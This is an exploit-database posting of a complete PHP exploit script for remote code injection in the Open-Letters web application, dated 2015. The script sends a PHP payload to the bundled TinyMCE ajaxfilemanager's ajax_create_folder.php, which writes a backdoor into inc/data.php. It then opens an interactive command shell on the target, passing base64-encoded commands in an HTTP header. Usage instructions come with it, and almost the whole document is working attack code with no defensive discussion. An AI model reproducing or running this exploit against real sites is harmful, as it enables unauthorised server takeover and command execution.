Open-Letters Remote PHP Code Injection Exploit

<?php

/*

OutPut:

#[+] Author: TUNISIAN CYBER

#[+] Script coded BY: Egidio Romano aka EgiX

#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability

#[+] Date: 19-04-2015

#[+] Vendor: http://www.open-letters.de/

#[+] Type: WebAPP

#[+] Tested on: KaliLinux (Debian)

#[+] CVE:

#[+] Twitter: @TCYB3R

#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com

#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png

OL-shell>

*/

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);

return stream_get_contents($sock);

}

print "#[+] Author: TUNISIAN CYBER\n";

print "#[+] Script coded BY: Egidio Romano aka EgiX\n";

print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n";

print "#[+] Date: 19-04-2015\n";

print "#[+] Vendor: http://www.open-letters.de/\n";

print "#[+] Type: WebAPP\n";

print "#[+] Tested on: KaliLinux (Debian)\n";

print "#[+] CVE:\n";

print "#[+] Twitter: @TCYB3R\n";

print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n";

print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /zenphoto/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";

$packet = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($exploit)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$exploit}";

http_send($host, $packet);

$packet = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\nOL-shell> ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?

print $m[1] : die("\n[-] Exploit failed!\n");

}

?>

EKU-ID: 4778	CVE:	OSVDB-ID:
Author: TUNISIAN CYBER	Published: 2015-04-22	Verified:
Download:

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